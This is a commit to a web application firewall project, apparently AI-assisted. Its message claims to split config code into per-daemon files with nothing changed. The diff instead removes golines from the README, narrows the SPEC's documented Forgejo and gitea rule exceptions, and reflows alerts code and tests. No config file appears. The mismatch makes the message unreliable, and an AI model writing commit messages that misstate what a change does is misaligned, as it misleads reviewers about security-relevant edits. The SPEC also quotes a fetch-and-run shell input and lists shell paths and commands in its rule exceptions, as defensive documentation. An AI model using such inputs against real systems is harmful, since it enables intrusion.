Settings code: one file per daemon (closes #227)

internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.

Model: opus-5-5

README.md

@@ -711,8 +711,7 @@ on the host.
 - `script/bootstrap`: installs on the host what the other scripts need, with
   `make bootstrap`:
     - `make`, `git` and `curl`;
-    - Go, for `gofmt` and to build `golines`;
+    - Go, for `gofmt`;
-    - `golines`, at a pinned version, with `go install`;
     - node, yarn and prettier.
 - `script/setup`: readies a fresh clone: `script/bootstrap`, then
   `script/install-precommit`. `make setup`.
@@ -729,11 +728,8 @@ on the host.
   the `tidy` stage of the `Dockerfile`. `make tidy`.
 - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
   `make lint`.
-- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
+- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
-  the Markdown with prettier. `make fmt`.
+  `make fmt`.
-    - `golines` wraps code at 77 columns but leaves comments and strings alone.
-      Wrap those by hand.
-    - The linter fails only lines longer than 88 columns.
 - `script/fmt-check`: checks the formatting and changes nothing.
   `make fmt-check`.
 - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.

SPEC.md

@@ -801,9 +801,8 @@ The changes hold in front of every app, and no setting undoes them:
         - a file named `java.lang.String.md`.
 
         Every request from such a page would be refused. `Referer` keeps the
-        other rules, except after some searches of gitea and Forgejo (the eighth
+        other rules, except after some gitea searches (the eighth change). An
-        and fifteenth changes). An app that passes `Referer` to a shell must
+        app that passes `Referer` to a shell must check it itself.
-        check it itself.
 
 6. Responses are not inspected. A raw file from a repository, such as a shell
    script, looks to the response rules like source code leaking from the server.
@@ -850,11 +849,6 @@ The changes hold in front of every app, and no setting undoes them:
         Some of these searches also skip the rule for Java class names (944130),
         which refused `org.apache.commons.logging`.
 
-        A branch or package name can hold a slash, as `feat/docker-support`
-        does. So `q` on a repository's branches page and on an owner's packages
-        page also skips the rule for shell paths (932160), which refused
-        `/bin/sh`.
-
     - The path of these requests, which names a file:
         - a file's page;
         - its raw file;
@@ -1589,40 +1583,21 @@ The changes hold in front of every app, and no setting undoes them:
     `/index.php/`. Elsewhere these fields keep every rule. An app other than
     Nextcloud that serves one of these paths must check these fields itself.
 
-15. On Forgejo's paths, `q` on some of its searches skips the rules that refused
+15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
     ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
     change applies to its requests too. This change holds only what Forgejo
     sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
-    rule and the search it refused. The searches are:
+    rule and the search it refused:
-    - the search of a wiki, on `/<owner>/<repo>/wiki/search`;
-    - the search of a repository's releases, on `/<owner>/<repo>/releases` and
-      `/api/v1/repos/<owner>/<repo>/releases`;
-    - the search of a job's log, on
-      `/api/v1/repos/<owner>/<repo>/actions/jobs/<id>/logs`.
-
-    There `q` skips these rules:
     - system files (930120), such as `.htaccess`;
     - Windows commands (932120), such as `powershell`;
-    - shell paths (932160), such as `/bin/sh`, except on the search of a job's
+    - shell paths (932160), such as `/bin/sh`;
-      log;
     - Unix commands (932250), such as `ls -la`;
     - command names (932260), such as `python3`.
 
     `; wget http://example.com/x.sh`, path traversal, and SQL and script
-    injection are still refused there.
+    injection are still refused there. The path is `/<owner>/<repo>/wiki/search`
-
+    at the site root. An app other than Forgejo that serves such a path must
-    The search of a repository's code at a branch or a tag is on
+    check `q` itself.
-    `/<owner>/<repo>/search/branch/<branch>` and
-    `/<owner>/<repo>/search/tag/<tag>`. The search box on a repository's home
-    page sends its search there when Forgejo has no code indexer, as by default.
-    There `q` skips the rules it skips on gitea's search of code in the eighth
-    change. So code, such as `<script>` or `SELECT * FROM users WHERE`, reaches
-    Forgejo in `q` there. `Referer` of a page opened from such a search skips
-    the rules for script and SQL injection and Java code, as after gitea's
-    searches (941110, 941120, 941160, 942100, 944100).
-
-    These paths are matched at the site root. An app other than Forgejo that
-    serves one of them must check `q` and `Referer` itself.
 
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.

internal/alerts/alerts.go

@@ -291,15 +291,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
 	asn, _ := alert.Detail["asn"].(string)
 	name, _ := alert.Detail["name"].(string)
 
-	return cooldownKey{
+	return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
-		alert.Event,
-		alert.Netblock,
-		file,
-		source,
-		scope,
-		asn,
-		name,
-	}
 }
 
 // New returns a Queue with no alert yet.
@@ -341,8 +333,7 @@ func New(params Params) *Queue {
 // queue of each destination, from which Run sends it, and with queueSize
 // alerts waiting for a destination, the oldest is dropped.
 func (q *Queue) Raise(alert Alert) {
-	if len(q.destinations) == 0 ||
+	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
-		!slices.Contains(q.params.Events, alert.Event) {
 		return
 	}
 
@@ -389,8 +380,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
 	now := q.params.Now()
 
 	last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
-	if q.params.Cooldown > 0 && found &&
+	if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
-		now.Sub(last.Sent) < q.params.Cooldown {
 		return false
 	}
 
@@ -484,15 +474,10 @@ func (q *Queue) Snapshot() State {
 	}
 
 	slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
-		return cmp.Or(
+		return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
-			a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
-			cmp.Compare(a.Event, b.Event),
+			cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
-			cmp.Compare(a.File, b.File),
+			cmp.Compare(a.Name, b.Name))
-			cmp.Compare(a.Source, b.Source),
-			cmp.Compare(a.Scope, b.Scope),
-			cmp.Compare(a.ASN, b.ASN),
-			cmp.Compare(a.Name, b.Name),
-		)
 	})
 
 	for _, d := range q.destinations {
@@ -624,12 +609,9 @@ func (q *Queue) endHour(now time.Time) {
 	var reasons []string
 
 	if heldBack > 0 {
-		reasons = append(
+		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
-			reasons,
+			"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
-			fmt.Sprintf("%d alerts held back in the hour from %s, "+
+			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
-				"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
-				q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
-		)
 	}
 
 	if repeats > 0 {
@@ -708,19 +690,12 @@ func (d *destination) run(ctx context.Context) {
 			case ctx.Err() == nil: // not cut off as sww stops
 				d.sendFailures.Add(1)
 
-				retryDelay = min(
+				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
-					max(retryDelayFactor*retryDelay, firstRetryDelay),
+					maxRetryDelay)
-					maxRetryDelay,
-				)
 				retryAt = time.Now().Add(retryDelay)
 
-				d.processLog.Warn(
+				d.processLog.Warn("sending an alert to "+d.setting+" failed",
-					"sending an alert to "+d.setting+" failed",
+					"error", err.Error(), "sending_again_in", retryDelay.String())
-					"error",
-					err.Error(),
-					"sending_again_in",
-					retryDelay.String(),
-				)
 			}
 		}
 	}
@@ -808,12 +783,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
 	ctx, cancel := context.WithTimeout(ctx, sendTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
-		ctx,
+		bytes.NewReader(body))
-		http.MethodPost,
-		d.url.String(),
-		bytes.NewReader(body),
-	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}
@@ -867,14 +838,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
 // in JSON: its title in bold, then its text, with &, < and > escaped, as
 // Slack asks, so that nothing in them is read as a link or a mention.
 func slackMessage(alert *Alert) ([]byte, http.Header, error) {
-	escape := strings.NewReplacer(
+	escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
-		"&",
-		"&amp;",
-		"<",
-		"&lt;",
-		">",
-		"&gt;",
-	).Replace
 
 	body, err := json.Marshal(map[string]string{
 		"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -972,10 +936,7 @@ func text(alert *Alert) string {
 	}
 
 	if alert.SuppressedRepeats > 0 {
-		lines = append(
+		lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
-			lines,
-			fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
-		)
 	}
 
 	return strings.Join(lines, "\n")

internal/alerts/alerts_test.go

@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			Netblock: netip.MustParsePrefix("203.0.113.0/24"),
 			Country:  "DE",
 			Reason:   "requests per minute over the limit of 1000",
-			Detail: map[string]any{
+			Detail:   map[string]any{"cause": "limit", "ban_expires": anHourOn},
-				"cause":       "limit",
-				"ban_expires": anHourOn,
-			},
 		})
 		synctest.Wait()
 
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 		}
 
 		if got[0].method != http.MethodPost || got[0].url != webhookURL {
-			t.Errorf(
+			t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
-				"request %s %s, want POST %s",
-				got[0].method,
-				got[0].url,
-				webhookURL,
-			)
 		}
 
 		for name, want := range map[string]string{
@@ -92,29 +84,21 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			"X-Team":        "ops",
 		} {
 			if got[0].header.Get(name) != want {
-				t.Errorf(
+				t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
-					"header %s is %q, want %q",
-					name,
-					got[0].header.Get(name),
-					want,
-				)
 			}
 		}
 
 		wantAlert(t, got[0].alert, map[string]any{
-			"instance": instance,
+			"instance":           instance,
-			"time":     started,
+			"time":               started,
-			"event":    "ban",
+			"event":              "ban",
-			"client":   "203.0.113.9",
+			"client":             "203.0.113.9",
-			"netblock": "203.0.113.0/24",
+			"netblock":           "203.0.113.0/24",
-			"asn":      "",
+			"asn":                "",
-			"as_name":  "",
+			"as_name":            "",
-			"country":  "DE",
+			"country":            "DE",
-			"reason":   "requests per minute over the limit of 1000",
+			"reason":             "requests per minute over the limit of 1000",
-			"detail": map[string]any{
+			"detail":             map[string]any{"cause": "limit", "ban_expires": anHourOn},
-				"cause":       "limit",
-				"ban_expires": anHourOn,
-			},
 			"suppressed_repeats": float64(0),
 		})
 		wantCounts(t, q, 1, 0, 0, 0)
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		params := newParams()
-		params.Events = []string{
+		params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
-			alerts.EventSourceFailure,
-			alerts.EventFileError,
-		}
 		webhook, q := start(t, params)
 
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-		q.Raise(
+		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
-			alerts.Alert{
+		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
-				Event:  alerts.EventFileError,
-				Reason: "a file error",
-			},
-		)
-		q.Raise(
-			alerts.Alert{
-				Event:    alerts.EventPermanentBan,
-				Netblock: netblock(1),
-			},
-		)
 		synctest.Wait()
 
 		wantEvents(t, webhook, alerts.EventFileError)
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
 	t.Parallel()
 
 	params := newParams()
-	params.Events = []string{
+	params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
-		alerts.EventSourceFailure,
-		alerts.EventFileError,
-	}
 	q := alerts.New(params)
 
 	if q.WouldSend(alerts.EventBan, netblock(1)) ||
 		q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
-		t.Error(
+		t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
-			"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
-		)
 	}
 
 	if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -222,10 +188,7 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
 		"SWW_ALERT_NTFY_URL":          onlyNtfy,
 	} {
 		if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
-			t.Errorf(
+			t.Errorf("a ban alert would not be sent with only %s set", setting)
-				"a ban alert would not be sent with only %s set",
-				setting,
-			)
 		}
 	}
 }
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 		synctest.Wait()
 
 		got := webhook.received()
-		wantEvents(
+		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
-			t,
+			alerts.EventBan)
-			webhook,
-			alerts.EventBan,
-			alerts.EventBan,
-			alerts.EventPermanentBan,
-			alerts.EventBan,
-		)
 
 		for i, want := range []struct {
 			netblock int
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 			alert := got[i].alert
 			if alert["netblock"] != netblock(want.netblock).String() ||
 				alert["suppressed_repeats"] != want.repeats {
-				t.Errorf(
+				t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
-					"alert %d is for %v with %v repeats, want %s with %v",
+					alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
-					i,
+					want.repeats)
-					alert["netblock"],
-					alert["suppressed_repeats"],
-					netblock(want.netblock),
-					want.repeats,
-				)
 			}
 		}
 
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 	})
 }
 
-func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
+func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -303,11 +253,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
 		webhook, q := start(t, params)
 		fileError := func(file string) alerts.Alert {
 			return alerts.Alert{
-				Event: alerts.EventFileError,
+				Event:  alerts.EventFileError,
-				Detail: map[string]any{
+				Detail: map[string]any{"file": file, "error": "line 2: an error"},
-					"file":  file,
-					"error": "line 2: an error",
-				},
 			}
 		}
 		sourceFailure := func(source string) alerts.Alert {
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
 			"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
 		}
 		if !slices.Equal(got, want) {
-			t.Errorf(
+			t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
-				"the webhook was sent alerts for %v, want %v",
-				got,
-				want,
-			)
 		}
 
 		wantCounts(t, q, 4, 0, 2, 0)
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
 		after.Raise(fileError("/rules.d/50-c.rules"))
 
 		waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != 1 ||
+		if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
-			waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
+			t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
-			t.Errorf(
-				"after loading, alerts wait %+v, want the one for 50-c.rules",
-				waiting,
-			)
 		}
 	})
 }
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
-		q.Raise(
+		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
-			alerts.Alert{
-				Event:    alerts.EventPermanentBan,
-				Netblock: netblock(4),
-			},
-		)
 		q.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		// The summary is sent as the hour ends, and not before.
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
-		wantEvents(
+		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
-			t,
-			webhook,
-			alerts.EventBan,
-			alerts.EventBan,
-			alerts.EventSummary,
-		)
 
 		summary := webhook.received()[2].alert
 		wantAlert(t, summary, map[string]any{
@@ -436,9 +364,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 				"hour":  started,
 				"count": float64(3),
 				"events": map[string]any{
-					"ban": float64(
+					"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
-						1,
-					), "permanent_ban": float64(1), "file_error": float64(1),
 				},
 			},
 			"suppressed_repeats": float64(0),
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
 		time.Sleep(time.Hour)
 		synctest.Wait()
-		wantEvents(
+		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
-			t,
+			alerts.EventBan)
-			webhook,
-			alerts.EventBan,
-			alerts.EventBan,
-			alerts.EventSummary,
-			alerts.EventBan,
-		)
 		wantCounts(t, q, 4, 0, 3, 0)
 	})
 }
 
-func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
+func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
 		params.MaxPerHour = 1
 		webhook, q := start(t, params)
 		raise := func() {
-			q.Raise(
+			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
-			)
 		}
 
 		// The hour's one alert, and two repeats the cooldown holds back.
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
 		raise()
 		synctest.Wait()
 
-		wantEvents(
+		wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
-			t,
-			webhook,
-			alerts.EventBan,
-			alerts.EventSummary,
-			alerts.EventBan,
-		)
 
 		got := webhook.received()
 		if len(got) == 3 {
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
 			summaryRepeats := got[1].alert["suppressed_repeats"]
 			lastRepeats := got[2].alert["suppressed_repeats"]
 
-			if detail["count"] != float64(1) ||
+			if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
-				summaryRepeats != float64(2) ||
 				lastRepeats != float64(0) {
-				t.Errorf(
+				t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
-					"the summary counts %v alerts and %v repeats, and the last "+
+					"alert gives %v repeats, want 1, 2 and 0", detail["count"],
-						"alert gives %v repeats, want 1, 2 and 0",
+					summaryRepeats, lastRepeats)
-					detail["count"],
-					summaryRepeats,
-					lastRepeats,
-				)
 			}
 		}
 
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
 	})
 }
 
-func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
+func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
 
 					kept := len(q.Snapshot().Cooldowns)
 					if kept > int(cooldown/time.Minute) {
-						t.Errorf(
+						t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
-							"after %d netblocks, %d cooldowns are kept, want at most %d",
+							netblocks, kept, int(cooldown/time.Minute))
-							netblocks,
-							kept,
-							int(cooldown/time.Minute),
-						)
 					}
 				}
 
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
 
 				kept := len(q.Snapshot().Cooldowns)
 				if kept != 0 || repeats != float64(netblocks) {
-					t.Errorf(
+					t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
-						"%d cooldowns are kept and the webhook was given %v repeats, "+
+						"want 0 and %d", kept, repeats, netblocks)
-							"want 0 and %d",
-						kept,
-						repeats,
-						netblocks,
-					)
 				}
 			})
 		})
@@ -726,14 +620,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged,
 			`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
-			strings.Contains(
+			strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
-				logged,
+			t.Errorf("process log %q names no failure, or names the URL", logged)
-				"alerts.example",
-			) || strings.Contains(logged, "team=ops") {
-			t.Errorf(
-				"process log %q names no failure, or names the URL",
-				logged,
-			)
 		}
 	})
 }
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		// than the queue holds is raised: none waits, and the oldest, the
 		// one the webhook was sent, is dropped.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(
+			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
-				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
-			)
 
 			if n == 0 {
 				synctest.Wait()
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		wantCounts(t, q, 0, 0, 0, 1)
 
 		waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != alerts.QueueSize ||
+		if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
-			waiting[0].Netblock != netblock(1) {
+			t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
-			t.Fatalf(
+				len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
-				"%d alerts wait, the first for %s, want %d, the first for %s",
-				len(
-					waiting,
-				),
-				waiting[0].Netblock,
-				alerts.QueueSize,
-				netblock(1),
-			)
 		}
 
 		// The request is abandoned after 10 seconds, and the webhook, which
@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		got := webhook.received()
 		if len(got) != alerts.QueueSize+1 ||
 			got[0].alert["netblock"] != netblock(0).String() {
-			t.Fatalf(
+			t.Fatalf("the webhook had %d requests, want %d, the first for %s",
-				"the webhook had %d requests, want %d, the first for %s",
+				len(got), alerts.QueueSize+1, netblock(0))
-				len(got),
-				alerts.QueueSize+1,
-				netblock(0),
-			)
 		}
 
 		for i, request := range got[1:] {
 			if request.alert["netblock"] != netblock(i+1).String() {
-				t.Fatalf(
+				t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
-					"request %d is for %v, want %s",
+					netblock(i+1))
-					i+1,
-					request.alert["netblock"],
-					netblock(i+1),
-				)
 			}
 		}
 
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 
 		// Not sent: Run is not running. The repeat is held back by the
 		// cooldown, and the file error past the hourly limit.
-		before.Raise(
+		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-		)
-		before.Raise(
-			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
-		)
 		before.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		time.Sleep(time.Minute)
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		// The new queue sends the alert waiting, holds back the repeat as
 		// the cooldown still runs, and sends the summary of the hour, which
 		// gives both repeats, as the cooldown has run out.
-		after.Raise(
+		after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
-		)
 		synctest.Wait()
 		wantEvents(t, webhook, alerts.EventBan)
 
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		summary := webhook.received()[1].alert
 		detail, _ := summary["detail"].(map[string]any)
 
-		if detail["count"] != float64(1) ||
+		if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
-			summary["suppressed_repeats"] != float64(2) {
+			t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
-			t.Errorf(
+				detail["count"], summary["suppressed_repeats"])
-				"the summary counts %v alerts and %v repeats, want 1 and 2",
-				detail["count"],
-				summary["suppressed_repeats"],
-			)
 		}
 	})
 }
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
 
 		for i, each := range want {
 			wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
-			wantNtfyMessage(
+			wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
-				t,
-				ntfy[i],
-				each.title,
-				each.priorityAndTag,
-				each.text,
-			)
 		}
 	})
 }
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 		params.WebhookURL = nil
 		params.MaxPerHour = 1
 		standIns, q := startAll(t, params)
-		ban := alerts.Alert{
+		ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
-			Event:    alerts.EventBan,
-			Netblock: netblock(1),
-			Reason:   "a ban",
-		}
 
 		// The hour's one alert, a repeat of it the cooldown holds back, and
 		// an alert past the limit; once the hour has ended, its summary,
 		// which gives the repeat, and the next alert, which gives none.
 		q.Raise(ban)
 		q.Raise(ban)
-		q.Raise(
+		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
-			alerts.Alert{
-				Event:  alerts.EventFileError,
-				Reason: "a file error",
-			},
-		)
 		time.Sleep(time.Hour)
 		synctest.Wait()
 		q.Raise(ban)
@@ -941,18 +786,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 			"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
 
 		wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
-		wantNtfyMessage(
+		wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
-			t,
+		wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
-			ntfy[1],
-			instance+": summary",
-			"default bar_chart",
-			summary,
-		)
-		wantSlackMessage(
-			t,
-			slack[2],
-			"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
-		)
 		wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
 			"a ban\nnetblock: 203.0.113.1/32")
 	})
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
 
 		wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
 			"<!channel> & <https://x.example|y>")
-		wantBodies(
+		wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
-			t,
-			standIns[alerts.DestinationNtfy],
-			"<!channel> & <https://x.example|y>",
-		)
 	})
 }
 
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				params.NtfyToken = tc.token
 				standIns, q := startAll(t, params)
 
-				q.Raise(
+				q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-					alerts.Alert{
-						Event:    alerts.EventBan,
-						Netblock: netblock(1),
-					},
-				)
 				synctest.Wait()
 
 				for destination, want := range map[string][]string{
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				} {
 					got := standIns[destination].received()
 					if len(got) != 1 {
-						t.Fatalf(
+						t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
-							"%s was sent %d requests, want 1",
-							destination,
-							len(got),
-						)
 					}
 
 					authorization := got[0].header.Values("Authorization")
 					if !slices.Equal(authorization, want) {
-						t.Errorf(
+						t.Errorf("%s was sent Authorization %q, want %q", destination,
-							"%s was sent Authorization %q, want %q",
+							authorization, want)
-							destination,
-							authorization,
-							want,
-						)
 					}
 				}
 			})
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 		standIns[alerts.DestinationSlack].set(hanging)
 
 		for n := range 3 {
-			q.Raise(
+			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
